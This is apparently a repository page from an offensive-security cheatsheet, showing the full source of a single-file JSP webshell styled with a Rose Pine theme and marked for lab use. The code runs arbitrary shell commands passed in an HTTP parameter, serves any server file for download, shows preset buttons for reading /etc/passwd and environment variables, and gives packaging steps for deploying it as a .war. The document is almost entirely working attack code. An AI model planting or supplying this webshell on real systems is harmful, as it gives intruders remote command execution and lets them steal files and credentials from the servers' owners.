repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
rp-shell.jsp230 lines9.3 KiBraw download
<%@ page contentType="text/html; charset=UTF-8" import="java.io.*,java.util.*,java.net.*" %>
<%
// ============================================================
//  rp-shell.jsp — single-file JSP webshell (Rose Pine)
//  Works on Tomcat / JBoss / any JSP container.
//  Lab use only — HTB Academy / CPTS
// ============================================================

boolean win = System.getProperty("os.name").toLowerCase().contains("win");

// --- working directory (persists in the HTTP session) ---
String workDir = (String) session.getAttribute("rp_wd");
if (workDir == null || !new File(workDir).isDirectory()) {
    workDir = application.getRealPath("/");
    if (workDir == null) workDir = System.getProperty("user.dir");
}

String output = "";
String statusMsg = "";

// --- helpers ---
String runCmd(String c, String wd) throws Exception {
    String[] command = win
        ? new String[] {"cmd.exe", "/c", "cd /d \"" + wd + "\" && " + c + " 2>&1"}
        : new String[] {"/bin/sh", "-c", "cd \"" + wd + "\" && " + c + " 2>&1"};
    Process p = new ProcessBuilder(command).redirectErrorStream(true).start();
    BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
    StringBuilder sb = new StringBuilder();
    String l;
    while ((l = r.readLine()) != null) sb.append(l).append("\n");
    p.waitFor();
    return sb.toString();
}

String esc(String s) {
    if (s == null) return "";
    return s.replace("&","&amp;").replace("<","&lt;").replace(">","&gt;").replace("\"","&quot;");
}

// --- file download: ?get=<path> ---
String dl = request.getParameter("get");
if (dl != null && !dl.equals("")) {
    File f = new File(dl);
    if (!f.isAbsolute()) f = new File(workDir, dl);
    if (f.isFile()) {
        response.reset();
        response.setContentType("application/octet-stream");
        response.setHeader("Content-Disposition", "attachment; filename=\"" + f.getName() + "\"");
        response.setContentLengthLong(f.length());
        FileInputStream fis = new FileInputStream(f);
        OutputStream os = response.getOutputStream();
        byte[] buf = new byte[8192];
        int n;
        while ((n = fis.read(buf)) != -1) os.write(buf, 0, n);
        fis.close();
        os.flush();
        return;
    }
    statusMsg = "download failed: not found -> " + f.getAbsolutePath();
}

// --- command execution ---
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.trim().equals("")) {
    String t = cmd.trim();
    if (t.equals("cd") || t.startsWith("cd ")) {
        String target = t.length() > 2 ? t.substring(2).trim() : "";
        if (target.equals("")) {
            output = workDir;
        } else {
            File nf = new File(target);
            if (!nf.isAbsolute()) nf = new File(workDir, target);
            if (nf.isDirectory()) {
                workDir = nf.getCanonicalPath();
                session.setAttribute("rp_wd", workDir);
                output = "";
            } else {
                output = "no such directory: " + target;
            }
        }
    } else if (t.equals("cls") || t.equals("clear")) {
        output = "";
    } else {
        try { output = runCmd(cmd, workDir); }
        catch (Exception ex) { output = "error: " + ex.getMessage(); }
    }
}

// --- banner identity ---
String bannerUser = "?", bannerHost = "?";
try { bannerUser = runCmd(win ? "whoami" : "id", workDir).trim(); } catch (Exception e) {}
try { bannerHost = InetAddress.getLocalHost().getHostName(); } catch (Exception e) {}
%>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>rp-shell :: <%= esc(bannerHost + " :: " + bannerUser) %></title>
<style>
    :root{
        --base:#191724; --surface:#1f1d2e; --overlay:#26233a;
        --muted:#6e6a86; --subtle:#908caa; --text:#e0def4;
        --love:#eb6f92; --gold:#f6c177; --rose:#ebbcba;
        --pine:#31748f; --foam:#9ccfd8; --iris:#c4a7e7;
    }
    *{box-sizing:border-box;}
    body{
        background:var(--base); color:var(--text);
        font-family:"Cascadia Code",Consolas,"Courier New",monospace;
        margin:0; padding:24px; font-size:14px;
    }
    .wrap{max-width:960px; margin:0 auto;}
    .card{
        background:var(--surface); border:1px solid var(--overlay);
        border-radius:10px; padding:18px 20px; margin-bottom:16px;
    }
    .banner{
        font-size:15px; color:var(--foam); letter-spacing:.5px;
        border-left:3px solid var(--iris); padding-left:12px;
    }
    .banner b{color:var(--love);}
    .meta{color:var(--subtle); font-size:12px; margin-top:6px;}
    .meta span{color:var(--gold);}
    .pwd{color:var(--pine); word-break:break-all;}
    .pwd b{color:var(--foam);}
    pre{
        background:var(--base); border:1px solid var(--overlay);
        border-radius:8px; padding:14px; overflow-x:auto;
        white-space:pre-wrap; word-break:break-all;
        color:var(--text); min-height:60px; margin:12px 0;
    }
    .status{color:var(--gold); font-size:12px; min-height:16px;}
    input[type=text]{
        width:100%; background:var(--overlay); color:var(--text);
        border:1px solid var(--muted); border-radius:6px;
        padding:10px 12px; font-family:inherit; font-size:14px;
    }
    input[type=text]:focus{outline:none; border-color:var(--iris);}
    .row{display:flex; gap:8px; margin-top:10px; flex-wrap:wrap; align-items:center;}
    .btn{
        background:var(--pine); color:var(--text); border:none;
        border-radius:6px; padding:9px 18px; cursor:pointer;
        font-family:inherit; font-size:13px;
    }
    .btn:hover{background:var(--foam); color:var(--base);}
    .btn.alt{background:var(--overlay); color:var(--subtle);}
    .btn.alt:hover{background:var(--muted); color:var(--text);}
    .chips{margin-top:10px; display:flex; gap:6px; flex-wrap:wrap;}
    .chip{
        background:var(--overlay); color:var(--iris); border:1px solid var(--muted);
        border-radius:12px; padding:3px 10px; font-size:11px; cursor:pointer;
    }
    .chip:hover{background:var(--iris); color:var(--base);}
    .fileline{display:flex; gap:8px; margin-top:8px; align-items:center;}
    .hint{color:var(--muted); font-size:11px; margin-top:8px;}
</style>
</head>
<body>
<div class="wrap">

    <div class="card">
        <div class="banner">rp-shell [jsp] :: <b><%= esc(bannerHost + " :: " + bannerUser) %></b></div>
        <div class="meta">
            remote <span><%= esc(request.getRemoteAddr()) %></span> ::
            os <span><%= esc(System.getProperty("os.name")) %></span> ::
            java <span><%= esc(System.getProperty("java.version")) %></span> ::
            server <span><%= esc(application.getServerInfo()) %></span>
        </div>
    </div>

    <div class="card">
        <div class="pwd">cwd :: <b><%= esc(workDir) %></b></div>
        <pre id="out"><%= esc(output) %></pre>
        <div class="status"><%= esc(statusMsg) %></div>

        <form method="post">
            <input type="text" name="cmd" id="cmd" autocomplete="off"
                   autofocus placeholder="command... (cd supported &amp; persists in session, cls clears)">
            <div class="row">
                <button class="btn" type="submit">run</button>
                <button class="btn alt" type="submit" name="cmd" value="cls">clear</button>
            </div>
            <div class="chips">
                <% if (win) { %>
                <span class="chip" onclick="fill('whoami /all')">whoami /all</span>
                <span class="chip" onclick="fill('whoami /priv')">whoami /priv</span>
                <span class="chip" onclick="fill('ipconfig')">ipconfig</span>
                <span class="chip" onclick="fill('dir')">dir</span>
                <span class="chip" onclick="fill('net user')">net user</span>
                <% } else { %>
                <span class="chip" onclick="fill('id')">id</span>
                <span class="chip" onclick="fill('uname -a')">uname</span>
                <span class="chip" onclick="fill('ls -la')">ls -la</span>
                <span class="chip" onclick="fill('cat /etc/passwd')">passwd</span>
                <span class="chip" onclick="fill('env | sort')">env</span>
                <% } %>
                <span class="chip" onclick="fill('<%= win ? "cd" : "pwd" %>')"><%= win ? "cd" : "pwd" %></span>
            </div>
        </form>

        <form method="get" class="fileline">
            <input type="text" name="get" placeholder="<%= win ? "C:\\path\\to\\file" : "/etc/passwd or ./file" %>">
            <button class="btn alt" type="submit">download</button>
        </form>

        <div class="hint">
            os auto-detected (<%= win ? "windows — cmd.exe /c" : "linux — /bin/sh -c" %>) ::
            cd persists in the JSP session ::
            deploy as a .war: jar -cvf shell.war rp-shell.jsp → /shell/rp-shell.jsp ::
            delete during cleanup
        </div>
    </div>

</div>
<script>
    var hist = [], hi = -1;
    var box = document.getElementById("cmd");
    function fill(c){ box.value = c; box.focus(); }
    box.form.addEventListener("submit", function(){
        if (box.value) hist.push(box.value);
    });
    box.addEventListener("keydown", function(e){
        if (e.key === "ArrowUp"){ e.preventDefault();
            if (hist.length){ hi = Math.max(0, hi < 0 ? hist.length - 1 : hi - 1); box.value = hist[hi]; } }
        if (e.key === "ArrowDown"){ e.preventDefault();
            if (hist.length){ hi = Math.min(hist.length - 1, hi + 1); box.value = hist[hi]; } }
    });
</script>
</body>
</html>